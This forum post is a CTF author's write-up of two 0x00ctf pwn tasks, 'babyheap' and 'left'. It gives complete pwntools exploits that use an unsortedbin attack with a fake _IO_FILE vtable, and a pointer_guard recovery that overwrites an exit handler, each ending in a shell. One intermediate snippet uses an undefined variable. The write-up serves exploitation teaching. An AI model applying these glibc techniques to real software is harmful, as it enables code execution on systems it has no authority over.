0x00ctf Writeup | babyheap & left!

In the name of Allah, the most beneficent, the most merciful.


Hello everyone, i’ll be writing how it was expected for the tasks I made to be solved. :smile:
I finally found some free time, sorry for the late post.

So, this article will be splitted to two main parts:
I. babyheap
II. left

I. babyheap

In this task, we have multiple functions, and we note the following:

Let’s analyse, each and every one of them slowly, so we know what we are dealing with…

} main():

On this first part, we see that the first thing the binary requests is a name, then we are going to enter an infinite loop that prints the menu, and calls a function: sub_40086D.
Anyway, we are going to analyse it later since we are focusing on main() function currently, but it’s obvious that this function returns an integer, since right after the call is a cmp eax, 6 operation, we are falling in a switch…
menu: “\x1B[31mMember manager!\x1B[0m\n1. add\n2. edit\n3. ban\n4. change name\n5. get gift\n6. exit”.

  • Let’s see the first 4 cases, each one of them calls a specific function, and goes to the start of the loop.
  1. sub_4008c7
  2. sub_400a1b
  3. sub_400c77
  4. sub_400d45
  • The rest of the cases, are doing their job directly.
    case 5:

loc_400E52: ; jumptable 0000000000400E25 case 5
mov edi, offset aYourGift
call _puts
mov rax, cs:stdout
mov rdi, rax ; stream
call _fflush
mov rax, [rbp+var_8]
mov rax, [rax]
mov rsi, rax
mov edi, offset format ; “%lu\n”
mov eax, 0
call _printf
jmp short loc_400EAA


- So, it first call puts, with argument: *'your gift:'*.
*fflush(stdout)*, then *printf("%lu", [rax])*..
We can guess from *long unsigned* format, the *printed text*, and the dereferencing of the **RAX** register, that it will print a libc address. Indeed, it does (**read_got** contents).

- *case 6:*
This one won't take much to understand, it simply calls *exit(0)*..
- *default:*
```asm
mov     edi, offset aInvalidOption
call    _puts
mov     rax, cs:stdout
mov     rdi, rax        ; stream
call    _fflush
nop
  • It calls puts with the argument ‘invalid option!’, then calls fflush(stdout).

} sub_40086d:

This function, calls read first… then calls atoi on the input, returns the result.
(That moment when I discovered that It’s an old version of the pwnable vulnerable to OOB :cry:)

} sub_4008c7:

  • This one is a big function, it’s add() function.
    it first prints a “looking for place to register…”, then goes in a loop from 0 to 3 to look for an empty slot.
  • if found:
    goes in an infinite loop requesting a valid size, it should be bigger than 0x7F and less or equal to 0x1000, so no fastbin allowed(> global_max_fast). (data size will be added to metadata size(0x10), then created).
    When the size requirements are met, malloc(size) is then called, requests a ‘username:’ and read in the chunk the size much. Then is a secure check, to null terminate the input, as long as it wouldn’t harm the next chunk size.
    Then the pointer to chunk is stored in the array, and returns.
  • if not:
    Well, just returns :laughing:!

} sub_400a1b:

  • This is the edit function, it has 2 options, either a secure edit or a vulnerable one.
    You can only use them once each:
  • secure edit (option 1):
    First requests the index, then check if it’s valid and exists, then gets the chunk size using malloc_usable_size() function, reads that nbytes to the choosen chunk. and increments a variable that shows the secure edit has been used.
  • insecure edit (option 2):
    Similiar to secure edit, with a change on the level of the size, since it now uses strlen() function, which will end only when nullbyte is reached. which means, if we fill the chunk completely on add(), we can cause an overflow to the next chunk size.

} sub_400c77:

  • the ban function, or more precisely, the one that will call free(). It can only be used once, increments a specific variable if so, (don’t you think it’ll allow UAF).
mov     ds:ptr[rax*8], 0

} sub_400d45:

  • Allows you to change name, once again, only one time is allowed.

Now that we have analysed all functions, we have noticed that the leak is easy to get, as it’s given, gift option… and there is a vulnerability allowing us to overwrite the next chunk metadata, it’s size precisely.

So, let’s think, what can we do?

  • We can use secure and insecure edit only once, right? What if we use the insecure edit first to overflow to next chunk size and change it(make it either bigger or smaller), and then use the secure edit, that’s going to call malloc_usable_size, most people who have done that and failed, didn’t probably check the source, and those who did it without looking at it, probably, just added the size of the current to the size of the next one, without knowing why…
static size_t
musable (void *mem)
{
 mchunkptr p;
 if (mem != 0)
   {
     p = mem2chunk (mem);
     if (__builtin_expect (using_malloc_checking == 1, 0))
       return malloc_check_get_size (p);
     if (chunk_is_mmapped (p))
       {
         if (DUMPED_MAIN_ARENA_CHUNK (p))
           return chunksize (p) - SIZE_SZ;
         else
           return chunksize (p) - 2 * SIZE_SZ;
       }
     else if (inuse (p)) // HERE
       return chunksize (p) - SIZE_SZ;
   }
 return 0;
}
  • The only thing we need then to satisfy is that inuse§ == 1, to do that, we need to make a fake next size, with PREV_INUSE bit set.
    Now we know, we can make a used chunk overlap on a free’d one… Therefore, overwrite it’s metadata(FD & BK), remember? We only can allocate small-largebins… Let’s create a small-largebin, free it, it’s going to be placed in unsortedbin list, what if we overwrite it’s BK? YES, unsortedbin attack for the win!

  • First, we start by implementing the functions to the exploit.

#!/usr/bin/python
from pwn import *
c = process('./babyheap')
def add(size, content):
   c.sendline('1')
   c.recvuntil('size:')
   c.sendline(str(size))
   c.recvuntil('username:')
   c.sendline(content)
   c.recvuntil('6. exit')
def edit(id, mode, content):
   c.sendline('2')
   c.recvuntil('2. insecure edit')
   c.sendline(str(mode))
   c.recvuntil('index:')
   c.sendline(str(id))
   c.recvuntil('new username:')
   c.sendline(content)
   c.recvuntil('6. exit')
def ban(id):
   c.sendline('3')
   c.recvuntil('index:')
   c.sendline(str(id))
   c.recvuntil('6. exit')
def change(name):
   c.sendline('4')
   c.recvuntil('enter new name:')
   c.sendline(name)
# PREPARE
name = "A" * 8
c.recvuntil('enter your name:')
c.sendline(name)
# EXPLOIT
#
# INTERACTIVE
c.interactive()

So the part we will start building is the EXPLOIT one!

  • We’ll start by making the chunks:
  • 1st chunk will be used to overflow from and use the insecure edit to influence the next chunk!
  • 2nd chunk must be of size 0x101 as a minimum, so we control two bytes(unlike 0x90 or 0xf0 case).
  • Then, comes the victim chunk, this one will be free’d and pushed into unsortedbin list and we’ll try overwritting it’s metadata later on.
  • Finally, a bordering chunk that won’t allow top consolidation when the victim chunk is free’d!
add(0x88, "A" * 0x88) # 0 ; chunk to overflow from
add(0x100, "B" * 8)   # 1 ; (size >= 0x100) = 0x110
add(0x500, "C" * 8)   # 2 ; 0x510 chunk
add(0x88, "E" * 8)    # 3 ; prevent top consolidation
  • But after allocating those, you’ll later find that after freeing chunk #2, the secure edit is no longer working after changing the size of chunk #1 randomly (because of the check mentionned above), so we will create a fake chunk within chunk #2 before freeing it, and do some quick mafs to calculate the fake size with precision!
add(0x88, "A" * 0x88) # 0 ; chunk to overflow from
add(0x100, "B" * 8)   # 1 ; (size >= 0x100) = 0x110
payload = "D" * 0x160  # filling
payload += p64(0)      # fake prev
payload += p64(0x21)   # fake size + PREV_INUSE < important
add(0x500, payload)   # 2 ; 0x510 chunk
add(0x88, "E" * 8)    # 3 ; prevent top consolidation

After creating them chunks, now it’s our time to call…

  • The great free()
c.recv()
ban(2) # put in unsortedbin

We will now overwrite the chunk #1 size, by overflowing from chunk #0.
Before doing so, what size should we assign?
To calculate:
(The original size of chunk #1 + Header size (prev_size & size) of chunk #2 + Filling size (0x160)) = (0x110 + 0x8*2 + 0x160) = 0x280
0x280 with addition of PREV_INUSE bit is 0x281, that’s our size!

  • So let’s do that in the exploit!
payload = "A" * 0x88  # filling
payload += p16(0x281) # next fake size
edit(0, 2, payload)   # using insecure edit for doing that

Now, we can take the prize, our precious leak, store and calculate the values!

  • As follows:
c.recv()
c.sendline('5')
c.recvline()
libc_read = int(c.recvline()[:-1], 10)
libc_base = libc_read - read_diff
libc_system = libc_base + sys_diff
#
print 'libc_base @ ' + hex(libc_base)
#
c.recv()

Now, when we are done with all of these stuff, we will be stuck thinking, overlapping chunks and unsortedbin attack, but what? really, what? What can be done with this only in hand?

  • The answer is simple, many scenarios can be done, we cite the following:
  • By overwritting global_max_fast variable on libc rw-p area, we can make it treat any and every chunk when free’d as a fastbin chunk.
  • Another way is to mess with a _IO_FILE_plus struct or some pointer to it, such as the _IO_list_all, and that’s what we are going to do here.

Something you should know is that, when we trigger the unsortedbin attack, the following will happen:
*(BK+0x10) = main_arena+XXX;
If we set BK to the _IO_list_all-0x10, our chunk will be considered as a pure _IO_FILE struct, we’ll basically confuse it.
But after doing that, the whole list is messed up now, while was previously a single linked list(_chain) to all the of the stderr, stdin and stdout. That will basically lead to a corruption, wouldn’t it?
And that’s exactly where we are going to strike…

  • The call to abort() function to terminate the program:
/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
/* ... */
   if (stage == 1)
   {
   	++stage;
   	fflush (NULL);
   }
  • With fflush() macro:
#define fflush(s) _IO_flush_all_lockp (0)
  • _IO_flush_all_lockp containing the following lines:
   while (fp != NULL)
   {
   	run_fp = fp;
   	if (do_lock)
   		_IO_flockfile (fp);
   	if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   	|| (_IO_vtable_offset (fp) == 0
   	&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
   	> fp->_wide_data->_IO_write_base))
   	)
   	&& _IO_OVERFLOW (fp, EOF) == EOF)
  • As you can see, if the first parts of the check are passed (we need to satisfy 'em later), a call to _IO_OVERFLOW() is done:
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
  • Oh look, a usage of the vtable within!
struct _IO_jump_t
{
   JUMP_FIELD(size_t, __dummy);             // 1
   JUMP_FIELD(size_t, __dummy2);            // 2
   JUMP_FIELD(_IO_finish_t, __finish);      // 3
   JUMP_FIELD(_IO_overflow_t, __overflow);  // 4 <-- the choosen one!
  • We are getting somewhere, cause _IO_list_all is a pointer to an _IO_FILE_plus struct, which supposedly contains a vtable.
struct _IO_FILE_plus
{
   _IO_FILE file;
   const struct _IO_jump_t *vtable;
};

For further reading on this:
House of Orange
Playing with file structure
Source

Anyway, we’ve seen that there’s a vtable after our fake _IO_FILE struct (our in full-control chunk).

  • We can change name which is in a known location (PIE: OFF), that says:
payload = p64(0) * 3             # filling
payload += p64(libc_system)      # __overflow
change(payload)

Once this is done, we can start crafting the fake _IO_FILE to satisfy the first part of the check within _IO_flush_all_lockp() function, so it results into _IO_OVERFLOW() call!

  • To satisfy is: fp->_IO_write_ptr > fp->_IO_write_base.
struct _IO_FILE {
     int _flags;                /* High-order word is _IO_MAGIC; rest is flags. */
   #define _IO_file_flags _flags
     /* The following pointers correspond to the C++ streambuf protocol. */
     /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
#
     char* _IO_read_ptr;        /* Current read pointer */
     char* _IO_read_end;        /* End of get area. */
     char* _IO_read_base;        /* Start of putback+get area. */
     char* _IO_write_base;        /* Start of put area. */
     char* _IO_write_ptr;        /* Current put pointer. */
  • So next part of the exploit calculates _IO_list_all, and crafts the _IO_FILE fake struct, bearing in mind that check to satisfy:
_IO_list_all = libc_base + iolist_diff
name_ptr = 0x6020a0
#
payload = "B" * 8*32                # overflow to victim chunk using secure edit
payload += '/bin/sh\x00'            # fake prev
payload += p64(0x61)                # fake shrinked size
payload += p64(0)                   # fake FD
payload += p64(_IO_list_all - 0x10) # fake BK
payload += p64(2)                   # fp->_IO_write_base
payload += p64(3)                   # fp->_IO_write_ptr
payload += p64(0) * 21              # filling
payload += p64(name_ptr)            # fake *vtable
# 
edit(1, 1, payload)                 # use secure edit 

You may have wondered, why did I put ‘/bin/sh\x00’ in prev_size field…
Answer is simple: prev_size (start of the chunk) was passed in RDI register, so say, an argument to system() later.

Now, we already have almost done everything, all is left is to trigger the unsortedbin attack.

  • And it’s done:
sleep(2)
#
pause()
c.recv()
c.sendline('1')
c.recvuntil('size:')
c.sendline(str(0x80))
  • Finally, making sure to add the offsets, can be easily reteived with libc-database
# LOCAL
iolist_diff = 0x3c31a0
read_diff = 0xef320
sys_diff = 0x46590

By assembling all the above mentionned parts, we get it;

  • Full exploit:
#!/usr/bin/python
from pwn import *
# LOCAL
iolist_diff = 0x3c31a0
read_diff = 0xef320
sys_diff = 0x46590
#
c = process('./babyheap')
#
def add(size, content):
   c.sendline('1')
   c.recvuntil('size:')
   c.sendline(str(size))
   c.recvuntil('username:')
   c.sendline(content)
   c.recvuntil('6. exit')
def edit(id, mode, content):
   c.sendline('2')
   c.recvuntil('2. insecure edit')
   c.sendline(str(mode))
   c.recvuntil('index:')
   c.sendline(str(id))
   c.recvuntil('new username:')
   c.sendline(content)
   c.recvuntil('6. exit')
def ban(id):
   c.sendline('3')
   c.recvuntil('index:')
   c.sendline(str(id))
   c.recvuntil('6. exit')
def change(name):
   c.sendline('4')
   c.recvuntil('enter new name:')
   c.sendline(name)
# PREPARE
name = "A" * 8
c.recvuntil('enter your name:')
c.sendline(name)
# EXPLOIT
add(0x88, "A" * 0x88) # 0 ; chunk to overflow from
add(0x100, "B" * 8)   # 1 ; (size >= 0x100) = 0x110
payload = "D" * 0x160  # filling
payload += p64(0)      # fake prev
payload += p64(0x21)   # fake size + PREV_INUSE < important
add(0x500, payload)   # 2 ; 0x510 chunk
add(0x88, "E" * 8)    # 3 ; prevent top consolidation
# 
c.recv()
ban(2) # put in unsortedbin
# 
payload = "A" * 0x88  # filling
payload += p16(0x281) # next fake size
edit(0, 2, payload)   # using insecure edit for doing that
# 
c.recv()
c.sendline('5')
c.recvline()
libc_read = int(c.recvline()[:-1], 10)
libc_base = libc_read - read_diff
libc_system = libc_base + sys_diff
#
print 'libc_base @ ' + hex(libc_base)
#
c.recv()
payload = p64(0) * 3             # filling
payload += p64(libc_system)      # __overflow
change(payload)
# 
_IO_list_all = libc_base + iolist_diff
name_ptr = 0x6020a0
#
payload = "B" * 8*32                # overflow to victim chunk
payload += '/bin/sh\x00'            # fake prev
payload += p64(0x61)                # fake shrinked size
payload += p64(0)                   # fake FD
payload += p64(_IO_list_all - 0x10) # fake BK
payload += p64(2)                   # fp->_IO_write_base
payload += p64(3)                   # fp->_IO_write_ptr
payload += p64(0) * 21              # filling
payload += p64(name_ptr)            # fake *vtable
# 
edit(1, 1, payload)                 # use secure edit
# 
sleep(2)
#
pause()
c.recv()
c.sendline('1')
c.recvuntil('size:')
c.sendline(str(0x80))
# INTERACTIVE
c.interactive()

That’s how we correctly do babyheap!

II. left

While it seems like a small and easy task, it requires a bit more work.

  • A small look at IDA:
lea     rax, [rbp+art]
mov     rsi, rax
mov     edi, offset format ; "%s"
mov     eax, 0
call    _printf
mov     rax, [rbp+ptr]
mov     rax, [rax]
mov     rsi, rax
mov     edi, offset aPrintfLu ; "printf(): %lu\n"
mov     eax, 0
call    _printf
mov     edi, offset s   ; "read address:"
call    _puts
mov     rax, cs:__bss_start
mov     rdi, rax        ; stream
call    _fflush
lea     rax, [rbp+ptr]
mov     rsi, rax
mov     edi, offset aLu ; "%lu"
mov     eax, 0
call    ___isoc99_scanf
mov     rax, [rbp+ptr]
mov     rax, [rax]
mov     rsi, rax
mov     edi, offset aContentLu ; "content: %lu\n"
mov     eax, 0
call    _printf
mov     edi, offset aWriteAddress ; "write address:"
call    _puts
mov     rax, cs:__bss_start
mov     rdi, rax        ; stream
call    _fflush
lea     rax, [rbp+address]
mov     rsi, rax
mov     edi, offset aLu ; "%lu"
mov     eax, 0
call    ___isoc99_scanf
mov     edi, offset aNewValue ; "new value:\n"
call    _puts
mov     rax, cs:__bss_start
mov     rdi, rax        ; stream
call    _fflush
lea     rax, [rbp+value]
mov     rsi, rax
mov     edi, offset aLu ; "%lu"
mov     eax, 0
call    ___isoc99_scanf
mov     rax, [rbp+address]
mov     rdx, [rbp+value]
mov     [rax], rdx
mov     edi, 0          ; status
call    _exit

So, it first prints an ASCII art, then comes a libc_leak (printf_got contents).
after that, It’ll ask for an address to print it’s content.
then, It will take an address then requests a value to assign to this last.
but in the end, It’ll kill your hopes with an exit(0);!

It’s easy to deduce that the real work and analyse we should do is on exit internals…

  • On exit call:
void
exit (int status)
{
   __run_exit_handlers (status, &__exit_funcs, true, true);
}
  • __run_exit_handlers ?
void
   attribute_hidden
   __run_exit_handlers (int status, struct exit_function_list **listp,
                        bool run_list_atexit, bool run_dtors)
   {
     /* First, call the TLS destructors.  */
   #ifndef SHARED
     if (&__call_tls_dtors != NULL)
   #endif
       if (run_dtors)
         __call_tls_dtors ();
#
     /* We do it this way to handle recursive calls to exit () made by
        the functions registered with `atexit' and `on_exit'. We call
        everyone on the list and use the status value in the last
        exit (). */
     while (true)
       {
         struct exit_function_list *cur;
#
         __libc_lock_lock (__exit_funcs_lock);
#
       restart:
         cur = *listp;
#
         if (cur == NULL)
           {
             /* Exit processing complete.  We will not allow any more
                atexit/on_exit registrations.  */
             __exit_funcs_done = true;
             __libc_lock_unlock (__exit_funcs_lock);
             break;
           }
#
         while (cur->idx > 0)
           {
             struct exit_function *const f = &cur->fns[--cur->idx];
             const uint64_t new_exitfn_called = __new_exitfn_called;
#
             /* Unlock the list while we call a foreign function.  */
             __libc_lock_unlock (__exit_funcs_lock);
             switch (f->flavor)
               {
                 void (*atfct) (void);
                 void (*onfct) (int status, void *arg);
                 void (*cxafct) (void *arg, int status);
#
               case ef_free:
               case ef_us:
                 break;
               case ef_on:
                 onfct = f->func.on.fn;
   #ifdef PTR_DEMANGLE
                 PTR_DEMANGLE (onfct);
   #endif
                 onfct (status, f->func.on.arg);
                 break;
               case ef_at:
                 atfct = f->func.at;
   #ifdef PTR_DEMANGLE
                 PTR_DEMANGLE (atfct);
   #endif
                 atfct ();
                 break;
               case ef_cxa:
                 /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                    we must mark this function as ef_free.  */
                 f->flavor = ef_free;
                 cxafct = f->func.cxa.fn;
   #ifdef PTR_DEMANGLE
                 PTR_DEMANGLE (cxafct);
   #endif
                 cxafct (f->func.cxa.arg, status);
                 break;
               }
             /* Re-lock again before looking at global state.  */
             __libc_lock_lock (__exit_funcs_lock);
#
             if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
               /* The last exit function, or another thread, has registered
                  more exit functions.  Start the loop over.  */
               goto restart;
           }
#
         *listp = cur->next;
         if (*listp != NULL)
           /* Don't free the last element in the chain, this is the statically
              allocate element.  */
           free (cur);
#
         __libc_lock_unlock (__exit_funcs_lock);
       }
#
     if (run_list_atexit)
       RUN_HOOK (__libc_atexit, ());
#
     _exit (status);
   }
  • Notes:

  • First thing it does, is calling TLS destructors; That’s something we won’t overthink or analyse for now.

  • The interesting part lies in the while (cur->idx > 0) loop. We have cur declared as a exit_function_list, this latter contains struct exit_function fns[32];!

  • We will be then checking the content of this exit_function struct.

  • exit_function struct:

   struct exit_function
     {
       /* `flavour' should be of type of the `enum' above but since we need
          this element in an atomic operation we have to use `long int'.  */
       long int flavor;
       union
         {
           void (*at) (void);
           struct
             {
               void (*fn) (int status, void *arg);
               void *arg;
             } on;
           struct
             {
               void (*fn) (void *arg, int status);
               void *arg;
               void *dso_handle;
             } cxa;
         } func;
     };
  • Notes:

  • We can clearly see, that it has alot of interesting pointers on ‘func’ struct within.

  • Those will be our target to overwrite, but let’s not forget that they are ‘DEMANGLED’ before being called, so this says they are encrypted, to understand that, let’s check the PTR_DEMANGLE macro.

  • PTR_DEMANGLE macro:

   #  define PTR_DEMANGLE(var)        asm ("ror $2*" LP_SIZE "+1, %0\n"             \
                                        "xor %%fs:%c2, %0"                          \
                                        : "=r" (var)                                \
                                        : "0" (var),                                \
                                          "i" (offsetof (tcbhead_t,                 \
                                                         pointer_guard)))
  • Notes:

  • It isn’t a big macro, there’s a ‘ror’ operation followed by a ‘xor’ one.

  • The first operation takes the (2*0x8)+1 = 0x11 and rotates right the value of the var by that number.

  • The second is a bit problematic, since it goes to the TCB(task control block) and takes a secret value named ‘pointer_guard’.

  • But here’s the thing, ‘xor’ can be reversed easily, such as ‘2 ^ 0 = 2’ => ‘0 = 2 ^ 2’. And that’s what we are going to use, to get the pointer_guard value, so we can mangle our fake pointer later, but to do that, we need the mangled pointer, and the original function that’s been mangled.

  • It’s time to run gdb and analyse what’s in there…
    Oh lord, it asks for a valid address to read/write, but we just want to analyse exit behaviour for now :crying_cat_face:
    WE’LL j* 0x4008a6 BOYS!
    But before doing that, let’s set a breakpoint on the __run_exit_handlers!

There we go, after jumping to the exit part, we land on that breakpoint.
We then continue stepping ‘ni’ and paying big attention to the instruction block.

Seems like we reached the interesting part, now we step really carefully, and we check registers while doing that.
We have RCX register pointing to initial, so it will take the mangled pointer and put it in RAX
[RCX+0x10] is NULL.
Then it’ll do the xor and ror operation, and calls the demangled RAX.

This says that the original pointer is _dl_fini.

  • And about the initial thing, check the second argument __exit_funcs, let’s take a look at the source!
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
  • A little look with gdb shows the following:

    And the pointer we’ll deal with is at one.

    It’s at 8*3 from initial.

But we will later find problem with offsets to these structures, since they aren’t exported…

Further reading on that:
This awesome article.

  • Let’s start writing the exploit slowly:
    First things first, we’ll be storing the printf leak and calculating libc_base.
#!/usr/bin/python
from pwn import *
#
c = process('./left')
# LOCAL
printf_diff = 0x54340
# EXPLOIT
c.recvuntil('printf(): ')
libc_printf = int(c.recvline()[:-1], 10)
libc_base = libc_printf - printf_diff
# INTERACTIVE
c.interactive()
  • Now we will editing only EXPLOIT and OFFSET part…
    We will add few offsets, the initial is close to an exported symbol ‘__abort_msg’ + [0x10, 0x20 … 0x100] on multiple libc’s.
    And then there’s the big problem ‘_dl_fini’. This one on remote will require creativity to get, either using the arbitrary read to get it, or downloading the same distro as remote.
    But since we’re local only here, we are safe, we’ll just get it with gdb. (substract libc_base from it)
# LOCAL
printf_diff = 0x54340
__abort_msg_diff = 0x3c3e00
_dl_fini_diff = 0x3d9600
# EXPLOIT
c.recvuntil('printf(): ')
libc_printf = int(c.recvline()[:-1], 10)
libc_base = libc_printf - printf_diff
libc_dl = libc_base + _dl_fini_diff
libc_at = libc_base + __abort_msg_diff + 0x80 + 8*3
print 'libc_base @ ' + hex(libc_base)
  • Now, we reach the arbitrary read part, we will leak the mangled pointer!
# LOCAL
printf_diff = 0x54340
__abort_msg_diff = 0x3c3e00
_dl_fini_diff = 0x3d9600
# EXPLOIT
c.recvuntil('printf(): ')
libc_printf = int(c.recvline()[:-1], 10)
libc_base = libc_printf - printf_diff
libc_dl = libc_base + _dl_fini_diff
libc_at = libc_base + __abort_msg_diff + 0x80 + 8*3
print 'libc_base @ ' + hex(libc_base)
# 
c.recvuntil('read address:')
c.sendline(str(libc_at))
c.recvuntil('content: ')
mangled_ptr = int(c.recvline()[:-1], 10)
print 'mangled_ptr @ ' + hex(mangled_ptr)

We get

And that’s the awaited response, we did well leaking!
Now, moving on…

  • Now we need to calculate the pointer_guard value!
# LOCAL
printf_diff = 0x54340
__abort_msg_diff = 0x3c3e00
_dl_fini_diff = 0x3d9600
# EXPLOIT
c.recvuntil('printf(): ')
libc_printf = int(c.recvline()[:-1], 10)
libc_base = libc_printf - printf_diff
libc_dl = libc_base + _dl_fini_diff
libc_at = libc_base + __abort_msg_diff + 0x80 + 8*3
print 'libc_base @ ' + hex(libc_base)
# 
c.recvuntil('read address:')
c.sendline(str(libc_at))
c.recvuntil('content: ')
mangled_ptr = int(c.recvline()[:-1], 10)
print 'mangled_ptr @ ' + hex(mangled_ptr)
# 
pointer_guard = ror(mangled_ptr, 0x11, 64) # we do ror operation first
pointer_guard ^= _dl_fini                  # xor with original value
print 'pointer_guard @ ' + hex(pointer_guard)
#
  • We reached the write part, it request an address to write to and the new value to assign!
    That’s perfect for overwriting the ‘at’ to point to 0x1 as a test!
# LOCAL
printf_diff = 0x54340
__abort_msg_diff = 0x3c3e00
_dl_fini_diff = 0x3d9600
# EXPLOIT
c.recvuntil('printf(): ')
libc_printf = int(c.recvline()[:-1], 10)
libc_base = libc_printf - printf_diff
libc_dl = libc_base + _dl_fini_diff
libc_at = libc_base + __abort_msg_diff + 0x80 + 8*3
print 'libc_base @ ' + hex(libc_base)
# 
c.recvuntil('read address:')
c.sendline(str(libc_at))
c.recvuntil('content: ')
mangled_ptr = int(c.recvline()[:-1], 10)
print 'mangled_ptr @ ' + hex(mangled_ptr)
# 
pointer_guard = ror(mangled_ptr, 0x11, 64) # we do ror operation first
pointer_guard ^= libc_dl                   # xor with original value
print 'pointer_guard @ ' + hex(pointer_guard)
#
address = 0x1
address ^= pointer_guard                   # xor with the pointer_guard
address = rol(address, 0x11, 64)           # reverse ror operation, rol!
# 
pause()                                    # to attach
#
c.recvuntil('write address:')
c.sendline(str(libc_at))
c.recvuntil('new value:')
c.sendline(str(address)) 
  • Running the script, attaching to gdb and resuming execution gives the following:

    :wink: We control RIP.

  • Now what’s left is simple, we will use one_gadget script by david942j.
    It will look for gadgets that take the argument ‘/bin/sh’, and call ‘execve’, ‘execl’… (there are multiple of 'em in each libc)

    We take the first and try and see if he’ll work, if not, the requirements aren’t met ‘[rsp + 0x30] == NULL in the first’!
    So we try them one by one.
    In my case, the fourth one worked.

  • We can then enjoy our shell!

  • Full exploit:

#!/usr/bin/python
from pwn import *
#
c = process('./left')
# LOCAL
printf_diff = 0x54340
__abort_msg_diff = 0x3c3e00
_dl_fini_diff = 0x3d9600
one_diff = 0xe8618
# EXPLOIT
c.recvuntil('printf(): ')
libc_printf = int(c.recvline()[:-1], 10)
libc_base = libc_printf - printf_diff
libc_dl = libc_base + _dl_fini_diff
libc_at = libc_base + __abort_msg_diff + 0x80 + 8*3
one = libc_base + one_diff
print 'libc_base @ ' + hex(libc_base)
# 
c.recvuntil('read address:')
c.sendline(str(libc_at))
c.recvuntil('content: ')
mangled_ptr = int(c.recvline()[:-1], 10)
print 'mangled_ptr @ ' + hex(mangled_ptr)
# 
pointer_guard = ror(mangled_ptr, 0x11, 64) # we do ror operation first
pointer_guard ^= libc_dl                   # xor with original value
print 'pointer_guard @ ' + hex(pointer_guard)
#
one ^= pointer_guard                       # xor with the pointer_guard
one = rol(one, 0x11, 64)                   # reverse ror operation, rol!
#
pause()
# 
c.recvuntil('write address:')
c.sendline(str(libc_at))
c.recvuntil('new value:')
c.sendline(str(one))
# INTERACTIVE
c.interactive()

For remote case, check DCUA and SPRITZ writeups.

Hope you liked the article and learned as well! :smiley:

15 Likes

This topic was automatically closed after 30 days. New replies are no longer allowed.